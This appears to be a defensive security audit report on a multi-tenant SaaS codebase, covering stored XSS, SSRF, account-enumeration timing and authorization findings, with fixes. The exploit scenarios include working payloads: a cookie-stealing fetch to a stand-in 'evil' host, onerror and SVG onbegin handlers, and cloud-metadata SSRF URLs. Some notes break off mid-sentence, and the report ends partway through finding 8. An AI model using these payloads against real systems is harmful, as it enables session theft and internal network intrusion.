106 KiB
Security Audit — hivegrid-cloud
Date: 2026-05-29 Method: 10 parallel security finders (multi-agent) + adversarial per-finding verification. Scope: full monorepo (apps/web, apps/api, apps/worker, apps/hocuspocus, packages/*, infra).
Result: 27 raw findings -> 17 confirmed/likely, 10 false positives filtered out, 0 need manual review.
Remediation status (2026-05-29)
16 of 17 findings fixed across three commits on branch security/audit-2026-05-29-fixes. Each fix has tests and passed the repo pre-commit gates (test-density, eslint-baseline, secrets) and the web typecheck.
- Wave 1 — XSS + SSRF (
963302a7): markdown sanitizer (escape raw HTML at the marked layer + harden server fallback), entity-row WYSIWYG cells, raw SVG icons (newsanitizeIconSvg), row-media SSRF, avatar/branding SSRF (HTTP://bypass), entity-webhook DNS-rebinding SSRF. - Wave 2 — authn/authz (
fb6beb78): collab-token resource-level authorization (row read-permission + kb-article tenant ownership, fail-closed unknown types), API login dummy-hash (account-enumeration timing), constant-time service-token comparison. - Wave 3 — config/infra (
c9717296,3b116672): production secret-strength validation at boot, Meilisearch bound to loopback, secure-by-defaultAPI_KEY_LEGACY_PLAINTEXT_FALLBACK=false, fail-closed public rate limiters, admin-SSOreturnTobackslash open-redirect, Meilisearch KB filter escaping, CIworkflow_dispatchscript-injection (env-bound inputs).
Deferred (1): "API session revocation/logout is process-local" (Low). The fix — backing the in-memory store with a shared store (Redis) — is a sync→async refactor of auth-critical code touching every session call site plus dependency wiring, and cannot be validated against real infra in this pass. Tracked for a dedicated change; current TTL (1h) limits exposure.
1. [High] Stored XSS via markdown sanitizer regex-fallback bypass (slash-separated attributes) on server-rendered surfaces
- Category: Stored XSS | Verdict: confirmed | Fix effort: moderate | Finder confidence: high
- Location:
apps/web/app/utils/html-sanitizer.ts:61-92 (sanitizeWithStringFallback), 13-19 (sanitizeMarkedHtml fallback selection) - Data flow: Tenant editor authors markdown (e.g. KB article contentPublished, row log comment, prompt response) -> stored verbatim in DB -> renderSanitizedMarkdown(content) -> marked.parse passes block-level raw HTML through unchanged -> on the server DOMParser is undefined so sanitizeMarkedHtml uses sanitizeWithStringFallback -> the on*-attribute stripping regex requires a leading whitespace (\s) so slash-delimited attributes are NOT removed -> dangerouslySetInnerHTML emits <img/src=x/onerror=...> in the SSR HTML -> browser parses and fires the handler
Exploit scenario
A KB editor (or anyone who can author KB article content / entity row comments) saves an article body containing <div><img/src=x/onerror=fetch('//evil/'+document.cookie)></div>. marked emits this block-level HTML verbatim. During SSR the regex sanitizer leaves <img/src=x/onerror=...> intact because there is no whitespace before onerror. Every reader of that KB article (potentially anonymous public help-center visitors) executes the attacker's JS in the app origin, enabling session/token theft and account takeover.
Evidence
sanitized=sanitized.replace(/\s(?:on[\w:-]+|style|srcdoc)\s*=\s*(?:"[^"]*"|'[^']*'|[^\s"'=<>`]+)/gi,""); // requires \s before on-handler; `<img/src=x/onerror=alert(1)>` is left UNCHANGED (verified end-to-end with marked + this fallback: output still contains onerror)
Recommended fix
Do not hand-roll an HTML sanitizer with regexes; the server path (no DOMParser) is the one that ships to users and it is bypassable. Replace sanitizeMarkedHtml with a vetted library that runs on the server, e.g. isomorphic-dompurify / sanitize-html with a strict allowlist, applied on BOTH server and client. As an immediate stopgap also configure marked with an output that escapes raw HTML (e.g. a renderer that does not pass through block HTML) and add the slash-delimited-attribute and /-as-separator cases to html-sanitizer.test.ts.
Verifier notes
The core vulnerability is real and exploitable; the finder's root-cause analysis is correct, though their literal PoC payload is non-firing.
DATA FLOW (verified by reading code + runtime tests):
- WRITE: apps/web/app/routes/admin/knowledge-base/bases.$slug/articles.$lang.$id.edit.tsx:72-81 stores article body verbatim (contentDraft: content, then published to contentPublished). I grepped the entire knowledgeBase module for sanitize/DOMPurify/escapeHtml at write time — NONE exists. Content is stored as-is.
- READ (public, anonymous): apps/web/app/routes/help/$slug.($lang).articles.$article.tsx -> KbRoutesArticleApi.loader (apps/web/app/modules/knowledgeBase/routes/api/KbRoutes.Article.Api.tsx:31-70). This loader has NO requireAuth/permission guard — it serves published articles to anonymous help-center visitors.
- RENDER: KbArticle.tsx:52 -> KbArticleContent.tsx:80 does <div dangerouslySetInnerHTML={{__html: renderSanitizedMarkdown(content)}} />.
- SANITIZER: renderSanitizedMarkdown -> marked.parse (passes block-level raw HTML through verbatim, confirmed via runtime test) -> sanitizeMarkedHtml (html-sanitizer.ts:13-19). On the SERVER (SSR) DOMParser is undefined (no jsdom/polyfill on server — verified via grep), so sanitizeWithStringFallback runs. Its on*-attribute regex (line 68: /\s(?:on[\w:-]+|style|srcdoc).../ and line 69 /\s(?:on...)(?=\s|>|/)/) BOTH require a leading \s, so attributes separated by HTML's other legal separator '/' are NOT stripped.
RUNTIME VERIFICATION: I ran marked + the exact fallback regex + jsdom parsing. The finder's literal payload <img/src=x/onerror=alert(1)> does NOT fire — '/' inside an unquoted attribute value is consumed into src (src becomes 'x/onerror=alert(1)', no onerror attribute). HOWEVER a trivially adjusted payload <div><img src="x"/onerror=alert(1)></div> survives the server sanitizer UNCHANGED and, when parsed by a browser/jsdom, produces a real IMG with a live onerror attribute (verified: FIRES=true, IMG[onerror=alert(1)]). The client DOMParser path correctly strips it (verified output:
The finder's root cause (\s-anchored regex misses non-whitespace HTML attribute separators), the SSR fallback selection, the public/anonymous reach, and the lack of write-time sanitization are all confirmed. Only their specific PoC string was non-firing; the exploit class is fully open with a seconds-long adjustment. Existing html-sanitizer.test.ts only tests whitespace-separated attrs and runs under jsdom (DOMParser path), so it never exercises the vulnerable server fallback.
Existing mitigations: Partial only, none sufficient: (1) The DOMParser/client path (sanitizeWithDomParser) DOES correctly strip on*/style/srcdoc regardless of separator — but it runs only in the browser; the server SSR render uses the bypassable string fallback and that HTML is what ships in the initial document. (2) marked escapes INLINE raw HTML, but passes BLOCK-level raw HTML (lines starting with a tag, e.g. wrapped in
2. [High] Stored XSS: entity-row WYSIWYG values rendered with dangerouslySetInnerHTML and NO sanitization
- Category: Stored XSS | Verdict: confirmed | Fix effort: moderate | Finder confidence: high
- Location:
apps/web/app/utils/helpers/RowHelper.tsx:68 (also apps/web/app/utils/helpers/RowValueUI.tsx:75) - Data flow: Tenant user creates a TEXT property with Editor attribute = 'wysiwyg' -> stores an arbitrary string in a row value (no sanitization on save) -> getFormattedValue returns the raw string (PropertyType.TEXT returns value verbatim, RowHelper.tsx:289-292) -> RowHelper.getCellValue / RowValueUI render
<div dangerouslySetInnerHTML={{ __html: formattedValue }} />with zero sanitization -> rendered in the entity grid (RowDisplayHeaderHelper.tsx:119), Kanban (RowsKanban.tsx:71) and new-row preview (RowNewRoute.tsx:132)
Exploit scenario
A low-privileged tenant member sets a custom-entity text field (configured with the WYSIWYG editor) to <img src=x onerror=alert(document.cookie)> and saves the row. When any other user in the tenant (including admins) opens the entity list/Kanban view, the unsanitized HTML is injected and the script runs in their session. Unlike the input component (RowValueInput.tsx:167 uses renderSanitizedMarkdown), the display cells apply no sanitizer at all, so even a plain <img onerror> works.
Evidence
} else if (PropertyAttributeHelper.getPropertyAttributeValue_String(property, PropertyAttributeName.Editor) === "wysiwyg") {
return <div className="truncate" dangerouslySetInnerHTML={{ __html: formattedValue }} />;
}
Recommended fix
Sanitize formattedValue before injecting it (use the same vetted sanitizer recommended above, e.g. renderSanitizedMarkdown/DOMPurify) in BOTH RowHelper.tsx and RowValueUI.tsx, matching what RowValueInput already does. Ideally sanitize on write as well so stored values are never trusted on render.
Verifier notes
Independently verified the full data flow. Sink: RowHelper.tsx:68 and RowValueUI.tsx:75 render dangerouslySetInnerHTML={{ __html: formattedValue }} with no sanitization when the property Editor attribute == "wysiwyg". formattedValue is the raw stored TEXT string — getFormattedValue (RowHelper.tsx:289-292) returns value verbatim (no markdown parse, no HTML escape), so a payload like <img src=x onerror=alert(document.cookie)> reaches the DOM unchanged and fires on render. Write path stores it verbatim: rows.db.server.ts:357 sets textValue: value.textValue with no sanitizer (no DOMPurify/sanitize-html/zod-strip in rows.db.server.ts or PropertyHelper). The asymmetry confirms intent: the input read-only preview at RowValueInput.tsx:166-167 wraps the value in renderSanitizedMarkdown (the project's own sanitizer in utils/html-sanitizer.ts, which removes on* handlers, script/style/srcdoc, and javascript:/data: URLs), but the three display sinks call no sanitizer. Reachable render points all confirmed: entity grid via RowDisplayHeaderHelper.tsx:119 (used by RowsListAndTable.tsx and RowCard.tsx), Kanban at RowsKanban.tsx:71, new-row preview at RowNewRoute.tsx:132 — all authenticated tenant views rendering tenant-stored user content to other tenant users including admins.
Existing mitigations: None found. The only CSP in the repo is scoped to the plugin-settings iframe (PluginSettingsFrame / routes/app.$tenant/settings/plugins.$id.tsx); there is no global/app CSP in root.tsx, server.ts, or entry.server.tsx, so inline event-handler (onerror) execution is not blocked on the entity grid/Kanban/new-row surfaces. No sanitization on write, none at the display sinks, and React does not escape dangerouslySetInnerHTML by design.
3. [High] SSRF via row media URL fetched without scheme/IP validation
- Category: SSRF | Verdict: confirmed | Fix effort: trivial | Finder confidence: high
- Location:
apps/web/app/utils/helpers/.server/MediaService.ts:20-23 - Data flow: POST row create/update form field (PropertyType.MEDIA) -> RowHelper.tsx:499-501 JSON.parse(form value) into media[] (file/publicUrl attacker-controlled) -> validatePropertyValue_Media (count-only, no URL check) -> rows.db.server.ts:445 storeRowMediaInStorageProvider(entity,row) -> MediaService.ts:20 await fetch(media.publicUrl ?? media.file).blob() -> request issued to attacker-chosen host/IP
Exploit scenario
An authenticated tenant member creates/updates a row whose MEDIA property value is JSON like [{"id":"x","name":"a.png","file":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","publicUrl":""}]. The server fetches that URL with the global fetch (no DNS/IP allowlist), reaching cloud metadata, internal admin ports, or other tenant-internal services. Even when the magic-bytes scan later rejects the non-image body, the SSRF request has already executed (blind SSRF / internal port probing / metadata theft if the response is small enough to be stored under media.publicUrl).
Evidence
media.name = sanitizeFileName(media.name);
const blob = await (await fetch(media.publicUrl ?? media.file)).blob();
const body = new Uint8Array(await blob.arrayBuffer());
const key = media.id + "-" + media.name;
Recommended fix
Replace the raw fetch with the existing SSRF-safe helper fetchOutboundHttpWithRedirects / validateOutboundHttpUrl from @hivegrid/foundation/outbound-http (which already does DNS resolution and blocks loopback/private/link-local/unique-local ranges). Better: only accept data: URLs for inbound media uploads and reject any http(s) source-of-record URL the client supplies; never fetch a client-provided remote URL server-side without the allowlist.
Verifier notes
The SSRF is real and reachable. Trace: HTTP POST to the registered row-create action (apps/web/app/modules/rows/routes/Rows_New.server.ts:61-78, action=create) -> RowHelper.getRowPropertiesFromForm (RowHelper.tsx:495-505) which JSON.parses the attacker-controlled MEDIA form field into media[] with attacker-set file/publicUrl -> validatePropertyValue_Media (PropertyHelper.ts:124-143) is COUNT-ONLY, no URL/scheme/IP checks -> RowsApi.create (RowsApi.ts:464-573) where line 565 calls storeRowMediaInStorageProvider (storeMedia defaults to true) -> MediaService.ts:20 await (await fetch(media.publicUrl ?? media.file)).blob() using the GLOBAL undici fetch. The only upstream guard is entity-level create permission (verifyUserHasEntityPermission in Rows_New.server.ts:67 and validateEntityPermission in RowsApi.ts:499) — an authenticated tenant member with normal row-create rights satisfies it. Detail correction: MediaService.ts:15 filters .filter((f) => !f.publicUrl), so the attacker omits publicUrl (or sets it null) and puts the target in file; the ?? media.file on line 20 then resolves to media.file. Legitimate uploads use FileReader.readAsDataURL (UploadDocument.tsx:104-110) producing data: URLs, so an http(s) URL in file is an attacker-only condition with no validation between JSON.parse and fetch. Impact is amplified beyond blind SSRF: putBufferAsFile (storageService.ts:174-196) does NO content/magic-byte validation in this path, the fetched response body is stored verbatim, and media.publicUrl is set to the retrievable URL (MediaService.ts:23-39) — so internal/metadata responses can be exfiltrated back to the attacker via the row media URL. The repo already ships the correct SSRF-safe helpers validateOutboundHttpUrl / fetchOutboundHttpWithRedirects in packages/foundation/src/outbound-http.ts (blocks loopback/private/link-local/unique-local, DNS resolution, manual redirect re-validation) but MediaService.ts does not import or use them.
Existing mitigations: Only authentication + entity-level create/update permission (verifyUserHasEntityPermission / validateEntityPermission) and tenant scoping — none of which constrain the fetched URL. validatePropertyValue_Media is count-only and does not validate scheme/host/IP. No allowlist, no DNS pinning, no scheme check, no magic-byte gate before the fetch. Requires hasStorageCredentials()==true (normal production config). No mitigation for the SSRF itself was found.
4. [High] SSRF in avatar/branding upload via case-sensitive http guard bypass
- Category: SSRF | Verdict: confirmed | Fix effort: trivial | Finder confidence: high
- Location:
apps/web/app/utils/integrations/storageService.ts:80-101 - Data flow: POST settings form field (avatar/icon/logo/favicon/seoImage) -> form.get('avatar').toString() (profile.tsx:130 / account.tsx / portals settings) -> storeFile({content, scan}) -> guard
content.startsWith('http') && !replaceis case-sensitive and bypassed by uppercase scheme -> storageService.ts:100 await fetch(content).blob() -> request to attacker-chosen internal host
Exploit scenario
An authenticated user submits avatar=HTTP://169.254.169.254/latest/meta-data/ (or HTTPS://internal-service:8080/). "HTTP://...".startsWith("http") is false, so the early-return at line 80 does not trigger, but new URL()/undici normalizes the scheme to http: and fetch() makes the request. This reaches cloud metadata endpoints and internal services. The same bypass applies to all storeFile callers (account icon, portal/admin branding, widgets, SEO images). The post-fetch magic-bytes scan does not prevent the request.
Evidence
if (content.startsWith("http") && !replace) {
...
return content;
}
...
if (scan) {
const blob = await (await fetch(content)).blob();
Recommended fix
Do not rely on a string prefix to gate outbound fetches. Parse the value with new URL() and, for any http/https scheme, route through fetchOutboundHttpWithRedirects/validateOutboundHttpUrl (private-IP/DNS rebinding protection). Ideally restrict storeFile inputs to data: URLs for user uploads and reject remote URLs entirely; also apply the same fix to putFileViaProvider (line 214) which has the identical raw fetch.
Verifier notes
Confirmed the full exploit path. storeFile (apps/web/app/utils/integrations/storageService.ts:79-101) gates its outbound fetch with if (content.startsWith("http") && !replace) at line 80, then on the scan path issues await (await fetch(content)).blob() at line 100 against the raw, attacker-controlled content. I verified at the JS level that the prefix check is case-sensitive and bypassable: "HTTP://169.254.169.254/".startsWith("http") returns false, so the early return is skipped, while new URL("HTTP://169.254.169.254/...") normalizes the scheme to http: and fetch issues the request. replace is not passed by the upload callers, so !replace is always true and the broken guard is the only gate.
Reachability is confirmed: the value is raw request-body form input. In profile.tsx:130 const avatar = form.get("avatar")?.toString() ?? "" flows directly to storeFile({content: avatar, scan: {...}}) at lines 257-269. The action (profile.tsx:119-121) is gated only by requireAuth + validateCSRFToken — any authenticated tenant user. account.tsx:89/142-170 does the same with icon = form.get("icon") behind verifyUserHasPermission("app.settings.account.update"). admin/settings/general.tsx:72-76 (logo/icon/favicon/seoImage), __portals/.../settings.tsx (7 callers), and __widgets/widgets/$id.tsx:129 all pass raw form fields as content with scan set. Standard authenticated-user SSRF threat model.
No mitigation neutralizes it. The codebase HAS a correct SSRF guard — packages/foundation/src/outbound-http.ts validateOutboundHttpUrl/fetchOutboundHttpWithRedirects, which blocks 169.254.x.x (metadata, line 220), 127.x, 10.x, 172.16-31.x, 192.168.x, 100.64/10, localhost, bare hostnames, and re-validates on each redirect with DNS resolution (anti-rebinding). It is used by webhooks (entityWebhooks.db.server.ts) and workflow blocks (WorkflowBlockService.ts) but NOT by storeFile, which uses bare global fetch. I confirmed there is no global undici dispatcher/ProxyAgent installed that would add SSRF filtering. The identical raw fetch(content) also exists at storageService.ts:214 (putFileViaProvider), reachable on the no-scan path. The post-fetch magic-bytes scan does not prevent the outbound request from being sent (the request fires before the scan), so it does not mitigate the SSRF; it only limits exfiltration of fetched content back to the attacker, making this a blind SSRF.
Existing mitigations: requireAuth/verifyUserHasPermission gate the routes (so it requires an authenticated tenant user, not unauthenticated), and a post-fetch magic-bytes scanner runs on the response — but neither prevents the outbound request from reaching internal hosts/metadata. The correct guard (validateOutboundHttpUrl / fetchOutboundHttpWithRedirects in packages/foundation/src/outbound-http.ts) exists in the repo and is used elsewhere, but is NOT applied to storeFile's fetch at storageService.ts:100 or putFileViaProvider at :214. No allowlist, scheme validation, or private-IP block protects this sink. Net: no effective mitigation.
5. [Medium] API login endpoint leaks account existence via response-timing (no dummy-hash comparison)
- Category: Account Enumeration / Timing Side-Channel | Verdict: confirmed | Fix effort: trivial | Finder confidence: high
- Location:
apps/api/src/routes/auth-routes.ts:52-71 - Data flow: POST /v1/auth/login {email,password} -> findLegacyLoginUserByEmail(email) -> if user missing OR passwordHash null: return immediately; else: comparePassword (bcrypt.compare, ~50-100ms) -> measurable timing delta reveals whether an email is a registered password account
Exploit scenario
An attacker scripts POST /v1/auth/login with a fixed wrong password and varying emails. Requests for non-existent or magic-link-only accounts return in a few ms (no hash work), while requests for real password accounts incur the full bcrypt.compare cost. By measuring median latency the attacker enumerates valid corporate email accounts (and distinguishes password vs passwordless accounts), feeding targeted credential-stuffing/phishing. The web login path defends against exactly this by always running verifyPassword against DUMMY_PASSWORD_HASH; the API path does not.
Evidence
const user = await dependencies.findLegacyLoginUserByEmail(email);
if (!user) {
await dependencies.recordFailedLoginAttempt(rateLimitRequest);
return apiError(c, 400, "invalid_credentials", AUTH_INVALID_CREDENTIALS_MESSAGE);
}
if (user.passwordHash === null) { ... return ... }
const isCorrectPassword = await dependencies.comparePassword(password, user.passwordHash);
Recommended fix
Mirror the web AuthService: when no user (or a null hash) is found, still run a comparePassword against a constant dummy bcrypt hash before returning invalid_credentials, so the response time is independent of account existence. Keep the per-account + per-IP rate limiting that is already in place.
Verifier notes
I read the cited code and traced the full data flow. The route POST /v1/auth/login is registered (apps/api/src/app.ts:120 -> registerAuthRoutes) and reachable with unauthenticated attacker-controlled JSON {email,password}. The handler (apps/api/src/routes/auth-routes.ts:52-71) has three distinct latency profiles: (1) user missing -> returns immediately after a single Prisma findUnique, no bcrypt; (2) user.passwordHash === null (magic-link-only account) -> returns immediately, no bcrypt; (3) real password account -> dependencies.comparePassword, which is bound to bcrypt.compare (app-dependencies.ts:361), incurring the full ~50-100ms hash cost. findLegacyLoginUserByEmail (packages/db/src/users.server.ts:123-141) does only a findUnique and returns null with no compensating work, so it adds no equalizing delay. The web AuthService (apps/web/app/modules/users/services/AuthService.ts:219) deliberately defends against exactly this by always running verifyPassword against DUMMY_PASSWORD_HASH (line 24) even when no user is found — the API path has no equivalent, confirming the maintainers consider this in-scope and the asymmetry is real, not theoretical. The repo's own tests confirm the early-return behavior (app.test.ts:2215: comparePassword is NOT called for magic-link accounts). The measurable timing delta lets an attacker scripting fixed-wrong-password logins across varying emails distinguish registered password accounts from non-existent/passwordless ones, enumerating valid corporate emails and account types for credential-stuffing/phishing. The mitigation finder credits (rate limiting) is weak: the per-IP limit (10/min) derives the client IP solely from the attacker-spoofable x-forwarded-for / x-real-ip headers (login-rate-limit.ts:161-174; createLoginRateLimitRequest passes remoteAddress:null at shared.ts:211, with no proxy-trust validation), so it is bypassable by header rotation; the per-account limit (5/min) is keyed per email and does not impede enumeration across many distinct emails (each email gets its own budget, and only a few timing samples per email are needed). No constant-time compare, no dummy-hash fallthrough, and no upstream guard neutralizes the issue.
Existing mitigations: Per-account login rate limit (5/min, keyed on normalized email) in apps/api/src/auth/login-rate-limit.ts is the only partial control, but it does not prevent cross-email enumeration (per-email budgets) and a few samples per email suffice. The per-IP limit (10/min) is effectively bypassable: the client IP is taken directly from attacker-controlled x-forwarded-for/x-real-ip headers with no trusted-proxy validation (deriveLoginRateLimitClientIp; createLoginRateLimitRequest sets remoteAddress:null). No dummy-hash/constant-time compare exists on the API path, unlike the web AuthService.
6. [Medium] Realtime-collab token issuer grants document access on tenant membership alone, with no resource-level authorization
- Category: Broken Object-Level Authorization | Verdict: confirmed | Fix effort: moderate | Finder confidence: medium
- Location:
apps/web/app/routes/api.collab.token.ts:64-101 - Data flow: POST /api/collab.token body { tenantId, resourceType, resourceId } -> getTenantUserType(session.userId, body.tenantId) verifies only tenant membership -> jwt.sign({ userId, tenantId, resourceType, resourceId }) bound to the caller-chosen resourceId -> Hocuspocus onAuthenticate (apps/hocuspocus/src/extensions/auth.ts) only re-checks the JWT matches the documentName triple, performing NO resource ACL lookup -> attacker joins/edits the chosen collaborative document
Exploit scenario
A low-privileged but active member of tenant T (e.g. a read-only or limited-role user) POSTs to /api/collab.token with { tenantId: T, resourceType: 'row', resourceId: <id of a document/row they have no row-permission to> }. The endpoint only checks getTenantUserType (any active membership passes) and returns a valid 15-minute JWT for documentName T:row:<id>. Hocuspocus admits the connection because the JWT triple matches the documentName, with no further per-resource permission check. The user can now read and collaboratively edit a document within their tenant that the row-permission system (RowPermission / getUserRowPermission) would otherwise deny. Scope is bounded to the user's own tenant (cross-tenant is blocked by the membership check), but it bypasses intra-tenant object-level authorization for any collaborative resource.
Evidence
const membership = await getTenantUserType(session.userId, body.tenantId);
if (!membership) {
return Response.json({ error: "forbidden", reason: "tenant-membership-required" }, { status: 403 });
}
...
const token = jwt.sign({ userId: session.userId, tenantId: body.tenantId, resourceType: body.resourceType, resourceId: body.resourceId }, secret, ...);
Recommended fix
Before signing the token, perform a resource-level authorization check for the requested (resourceType, resourceId) within tenantId — e.g. for resourceType 'row' call getRowById/getUserRowPermission and require canRead/canUpdate; reject with 403 when the user lacks access. Do not rely solely on tenant membership. Alternatively, have Hocuspocus onAuthenticate call back into an authorization endpoint to confirm resource access on connect.
Verifier notes
I read both cited files plus all callers/callees and confirmed the exploit path is open end-to-end.
Reachability: apps/web/app/routes.ts uses createRoutesFromFolders (v1 flat-route auto-discovery). The file api.collab.token.ts is a normal route file (not .server.ts/.test.ts, so not in defaultIgnoredRouteFilePatterns), so its exported action is HTTP-reachable at POST /api/collab.token.
Guards present but insufficient: (1) HOCUSPOCUS_AUTH_SECRET must be set else 503; (2) authenticated session via getUserInfo (session.server.ts:140) else 401 — this only reads userId from the cookie, pure authentication; (3) input validation isDocumentNamePart/isNonEmptyString (lines 35-41) only checks string type, length<=256, and colon presence — NOT an ACL; (4) tenant membership via getTenantUserType (tenants.db.server.ts:388-400) which only queries tenantUser for ACTIVE status on an active tenant and returns {status,type} — NO row/resource-level authorization; (5) per-tenant feature flag realtime-collab-enabled.
Attacker-controlled resourceId (body.resourceId) is copied verbatim into the signed JWT (api.collab.token.ts:88-90) after only the membership + flag checks. Hocuspocus onAuthenticate -> verifyCollabToken (apps/hocuspocus/src/extensions/auth.ts:68-99) only verifies HS256 signature + that the JWT's tenantId/resourceType/resourceId equal the documentName triple — no resource ACL. The database extension fetchCollabDoc/storeCollabDoc (database.ts:40-93) loads and persists the Y.js BLOB purely by the documentName triple, with an explicit comment 'Auth has already verified that the connection has access to this triple' — which is false at the resource level. I grepped all of apps/hocuspocus/src for getRowById/getUserRowPermission/RowPermission/canRead/canUpdate/authoriz/permission and found only comment mentions, no actual check.
The repo's real row-authorization lives in apps/web/app/utils/db/entities/rows.db.server.ts: getAccessFilters (lines 492-505) combines TenantHelper.tenantCondition AND getRowPermissionsCondition({tenantId,userId}), proving that in the normal web data path a tenant member still does NOT automatically get row access — per-user RowPermission filtering applies. The collab token endpoint bypasses this entirely.
Net: a low-privileged but ACTIVE member of tenant T can POST {tenantId:T, resourceType:'row', resourceId:}, receive a valid 15-min JWT for documentName T:row:, connect to Hocuspocus, and read/edit the collaborative document — bypassing intra-tenant object-level authorization (RowPermission). Cross-tenant is blocked by the membership check, so impact is bounded to the attacker's own tenant; gated by the realtime-collab-enabled flag and requires knowing/guessing a target resourceId. Medium is correct.
Existing mitigations: Partial-only controls, none of which close the gap: authentication (getUserInfo), tenant-membership check (getTenantUserType) which blocks cross-tenant access, input length/format validation (isDocumentNamePart), and a per-tenant feature flag (realtime-collab-enabled). The genuine row-ACL system (getRowPermissionsCondition / RowPermission, applied in rows.db.server.ts getAccessFilters) is NOT invoked anywhere in the collab-token issuer or in Hocuspocus onAuthenticate/database extension. No resource-level authorization mitigation found.
7. [Medium] Unsanitized raw SVG injection via icon fields (entity/KB/sidebar icons)
- Category: Stored XSS (SVG) | Verdict: confirmed | Fix effort: moderate | Finder confidence: medium
- Location:
apps/web/app/components/layouts/icons/EntityIcon.tsx:7 (same pattern: SidebarIcon.tsx:22, ImageOrSvg.tsx:8, InputImage.tsx:144, KbCategory.tsx:38, KbCategoriesGrid.tsx:32) - Data flow: Tenant admin enters an icon value via a form field name="icon" (EntityForm.tsx:232, KbCategoryForm.tsx:64) that accepts a raw '<svg ...>...' string -> stored verbatim -> rendered as
<div dangerouslySetInnerHTML={{ __html: icon.replace('<svg', "<svg class='...'") }} />with no sanitization of the SVG body/attributes
Exploit scenario
An entity/KB administrator stores an icon string containing scriptable SVG, e.g. <svg><a xlink:href="javascript:alert(document.cookie)"><rect width=99 height=99/></a></svg> or SVG with <animate onbegin=...>/<foreignObject> payloads. When rendered in the sidebar/entity list/public KB grid, the markup runs depending on browser/SVG parsing context. The .replace('<svg', ...) only injects a class and does no sanitization. Confidence is tempered because innerHTML-injected SVG event handlers do not fire uniformly across browsers, and the field is admin-restricted.
Evidence
<div dangerouslySetInnerHTML={{ __html: icon.replace("<svg", `<svg class='${className}'`) ?? "" }} />
Recommended fix
Never inject raw user-supplied SVG via innerHTML. Either render icons via an /icon-name allowlist, or sanitize the SVG with DOMPurify configured for SVG (USE_PROFILES: { svg: true, svgFilters: true }) and strip event handlers and javascript:/data: hrefs before rendering. Apply consistently to EntityIcon, SidebarIcon, ImageOrSvg, InputImage, and the KB category icon renderers.
Verifier notes
Independently traced the full input->sink path and confirmed all five sinks plus an end-to-end exploit path with no mitigation.
SINK (confirmed verbatim): EntityIcon.tsx:7, SidebarIcon.tsx:22, ImageOrSvg.tsx:8, KbCategory.tsx:36-45, KbCategoriesGrid.tsx:30-39 all render dangerouslySetInnerHTML={{ __html: icon.replace("<svg", "<svg class='...'") }}. The .replace only injects a class attribute after the first <svg; it strips nothing. No sanitizer is applied.
INPUT (attacker-controlled): EntityForm.tsx:232 and KbCategoryForm.tsx:64 expose name="icon" as a free InputText that accepts a raw <svg>...</svg> string.
STORAGE (no sanitization): the admin actions read it raw and persist verbatim, e.g. routes/admin/knowledge-base/bases.$slug/categories.$lang/new.tsx:44 const icon = form.get("icon")?.toString() ?? "" -> createKnowledgeBaseCategory -> kbCategories.db.server.ts:133 icon: data.icon. Same for entity icons (routes/admin/entities/$entity/details.tsx:50).
AUDIENCE / privilege boundary crossed: the stored KB icon is served by KbRoutes.Index.Api.tsx loader, which is wired to the PUBLIC route routes/docs/($lang).tsx (and /help/*). That loader has NO requireAuth/permission gate — it calls KnowledgeBaseService.get({ enabled: true }) and returns categories (with their icon) to any anonymous visitor, where KbCategoriesGrid renders the raw SVG. So an admin-stored payload executes in the browsers of unauthenticated public visitors. Entity icons additionally render in the authenticated tenant app (sidebar/entity lists) to all tenant users.
MITIGATIONS HUNTED AND RULED OUT: (1) No DOMPurify/sanitize-html/xss package anywhere in apps/web or packages. (2) No page-level Content-Security-Policy in root.tsx/entry.server.tsx — the only CSP references are iframe-sandbox CSP for the plugins settings frame, which does not cover the docs/help pages. (3) The .replace("<svg", ...) is class injection, not sanitization. (4) Permission checks (admin.kb.create/update, verifyUserHasPermission) and validateCSRFToken protect only the WRITE; they do not sanitize content and do not protect the public READ audience.
EXPLOITABILITY (honest, matches finder's tempered confidence): innerHTML-inserted <script> does NOT run (HTML spec), and <svg onload> does not fire for inline SVG. But SMIL animation handlers fire on inline SVG in Chromium/Firefox, giving a working payload such as <svg xmlns="http://www.w3.org/2000/svg"><animate onbegin="alert(document.cookie)" attributeName="x" dur="1s"/></svg> (also <animate onend=...> and interaction handlers like onmouseover on child shapes). There is real cross-browser variance, but a working stored-XSS exists against modern engines on a public page, enabling cookie/session theft against site visitors.
Conclusion: genuine stored XSS via SVG; the write is admin-gated (smaller attacker set) but the render audience is unauthenticated/public and cross-user, so the issue is real and exploitable.
Existing mitigations: Write side is gated by verifyUserHasPermission (admin.kb.create/update, entity admin perms) + validateCSRFToken, which narrows the attacker to privileged admins/super-admins and blocks CSRF — but these do not sanitize the stored value and do not protect the public/cross-user render audience. No DOMPurify/sanitize-html exists in the repo; no page-level Content-Security-Policy is set on the docs/help/app pages (the only CSP is an iframe sandbox for the plugins settings frame). The .replace("<svg", "<svg class='...'") is class injection, not sanitization. Net: no control neutralizes the XSS at the render sink.
8. [Medium] DNS-rebinding SSRF in legacy entity-webhook delivery (no resolved-address check)
- Category: SSRF | Verdict: confirmed | Fix effort: trivial | Finder confidence: high
- Location:
apps/web/app/utils/db/entities/entityWebhooks.db.server.ts:123-167, 194-211 - Data flow: Admin sets EntityWebhook.endpoint (routes/admin/entities/$entity/webhooks/new.tsx action -> createEntityWebhook) -> row create/update fires createRowLog/createManualRowLog (logs.db.server.ts) -> callEntityWebhooks -> resolveWebhookEndpoint -> validateOutboundWebhookUrl (literal-hostname check only) -> local fetchWebhookWithRedirects -> fetchWithTimeout -> raw fetch(currentUrl) with no DNS/resolved-address validation
Exploit scenario
An operator with admin.entities.update registers an entity webhook whose endpoint is https://rebind.attacker.com/. validateOutboundWebhookUrl passes because the literal hostname is not localhost, not an IP literal, and does not end in an internal suffix. attacker.com's DNS is configured (or rebinds) to resolve to 169.254.169.254 (cloud metadata) or 127.0.0.1 / an internal RFC1918 service. When a row log triggers the webhook, the server's raw fetch() resolves the name itself and connects to the internal address, POSTing the row's apiFormat body there and recording the response status. This enables reaching the cloud metadata endpoint and internal-only services, and exfiltrating internal responses (status is logged). The hardened sibling helper packages/foundation/src/outbound-http.ts proves the intended posture: it calls assertOutboundHttpResolvedAddresses (dns.lookup all+verbatim:false) and rejects any resolved private/metadata address; this legacy copy never resolves DNS.
Evidence
async function fetchWithTimeout(input, init) { ... return await fetch(input, { ...init, redirect: "manual", signal: controller.signal }); } // and validateOutboundWebhookUrl only does isBlockedWebhookHostname(url.hostname) with no DNS resolution
Recommended fix
